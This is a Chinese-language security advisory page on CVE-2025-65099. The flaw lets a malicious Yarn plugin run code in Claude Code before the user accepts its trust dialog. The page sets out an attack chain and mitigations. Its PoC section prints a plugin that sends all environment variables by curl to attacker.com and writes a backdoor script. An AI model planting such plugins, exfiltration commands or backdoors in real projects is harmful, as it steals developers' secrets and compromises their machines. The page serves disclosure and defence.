IPBUF安全漏洞报告
English
CVE-2025-65099 CVSS 9.8 严重

CVE-2025-65099 Claude Code Yarn插件远程代码执行漏洞

披露日期: 2025-11-19

漏洞信息

漏洞编号
CVE-2025-65099
漏洞类型
远程代码执行
CVSS评分
9.8 严重
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Claude Code

相关标签

代码执行Yarn插件Claude CodeCVSS 9.8信任绕过Anthropic开发者工具CVE-2025-65099

漏洞概述

CVE-2025-65099是Anthropic公司开发的Claude Code代码助手工具中的一个严重安全漏洞。在1.0.39版本之前,当Claude Code运行在安装了Yarn 3.0或更高版本的机器上时,存在一个代码执行风险。该漏洞允许攻击者通过恶意构造的Yarn插件,在用户尚未接受启动时的信任对话框之前,诱骗Claude Code执行任意代码。攻击成功的关键前提条件是:用户必须在不受信任的目录中启动Claude Code,并且系统已安装Yarn 3.0或更高版本。由于Claude Code本身是一个代理式编码工具,需要访问文件系统并执行各种操作,攻击者可以利用这一信任机制缺陷,在用户确认项目安全性之前就触发恶意代码执行。此漏洞的CVSS评分高达9.8,属于严重级别,对使用Claude Code的开发者构成重大安全威胁。攻击者可以通过在项目中植入恶意Yarn插件来利用此漏洞,一旦受害者启动Claude Code,恶意代码即可自动执行,可能导致敏感数据泄露、开发环境被入侵或进一步的网络攻击。

技术细节

该漏洞的根因在于Claude Code在处理Yarn 3.0+项目时的启动顺序问题。Yarn 3.0引入了插件系统,允许在项目初始化时自动加载和执行插件代码。Claude Code在启动时会扫描项目目录并尝试理解项目结构,当检测到Yarn项目时会加载相关配置。问题在于,Claude Code在用户确认信任该目录之前,就已经在执行项目扫描和依赖解析操作,这给了恶意Yarn插件可乘之机。具体技术细节包括:1) Claude Code的信任验证机制存在时序漏洞,在完成目录信任确认前就执行了部分初始化代码;2) Yarn 3.0+的插件加载发生在项目初始化早期阶段,比用户交互更早;3) 攻击者可以在.yarn目录下创建恶意插件,或在package.json中配置pre/post脚本;4) 当Claude Code调用Yarn命令时(如yarn install或yarn dlx),恶意插件会被自动加载执行。攻击者利用这一漏洞需要受害者满足两个条件:使用Yarn 3.0+和不加选择地在任意目录启动Claude Code。

攻击链分析

STEP 1
步骤1
攻击者创建一个包含恶意Yarn插件的项目目录,在.yarn/plugins/中植入恶意JavaScript代码
STEP 2
步骤2
攻击者将恶意项目通过Git仓库、压缩包或共享文件夹等方式传播给目标开发者
STEP 3
步骤3
目标开发者在自己的开发环境中克隆或解压该项目,项目使用Yarn 3.0+作为包管理器
STEP 4
步骤4
目标开发者不加选择地在该不信任目录中启动Claude Code工具
STEP 5
步骤5
Claude Code在完成用户信任确认之前,自动执行项目扫描和Yarn初始化,触发恶意插件加载
STEP 6
步骤6
恶意插件代码在Claude Code进程上下文中执行,可窃取环境变量、SSH密钥、项目代码等敏感信息
STEP 7
步骤7
攻击者通过外连C2服务器接收窃取的数据,或在系统中植入持久化后门

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
// Malicious Yarn plugin that executes arbitrary code before trust dialog // Place this in a project's .yarn/plugins/ directory // Plugin manifest (.yarnrc.yml) // yarnPath: .yarn/releases/yarn-3.6.0.cjs // plugins: // - path: .yarn/plugins/malicious-plugin.js // malicious-plugin.js const { execSync } = require('child_process'); // This plugin executes before user accepts trust dialog module.exports = { name: 'malicious-plugin', hooks: { afterAllInstalled: (project) => { // Execute arbitrary code console.log('[+] Malicious plugin triggered!'); // Example: Exfiltrate environment variables const envData = JSON.stringify(process.env); execSync(`curl -X POST https://attacker.com/exfil -d "${envData}"`, { encoding: 'utf-8' }); // Example: Add backdoor to project files execSync('echo "module.exports = require(\'child_process\').execSync(process.argv[2]);" > backdoor.js'); return project; } } }; // Alternative: package.json malicious script // { // "name": "malicious-project", // "scripts": { // "preinstall": "malicious_command_here" // } // }

影响范围

Claude Code < 1.0.39

防御指南

临时缓解措施
在官方修复版本发布之前,建议采取以下临时缓解措施:第一,避免在任何不受信任的项目目录中启动Claude Code,只在明确信任的目录中使用该工具;第二,在启动Claude Code之前检查项目是否包含异常的Yarn配置或插件文件,特别是.yarn目录下的内容;第三,考虑使用Yarn 2.x或更低版本作为临时替代方案;第四,在~/.yarnrc.yml中配置enableScripts为false以禁用插件自动执行;第五,使用chroot或容器环境限制Claude Code的文件系统访问权限;第六,关注Anthropic官方安全公告,及时应用安全更新。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表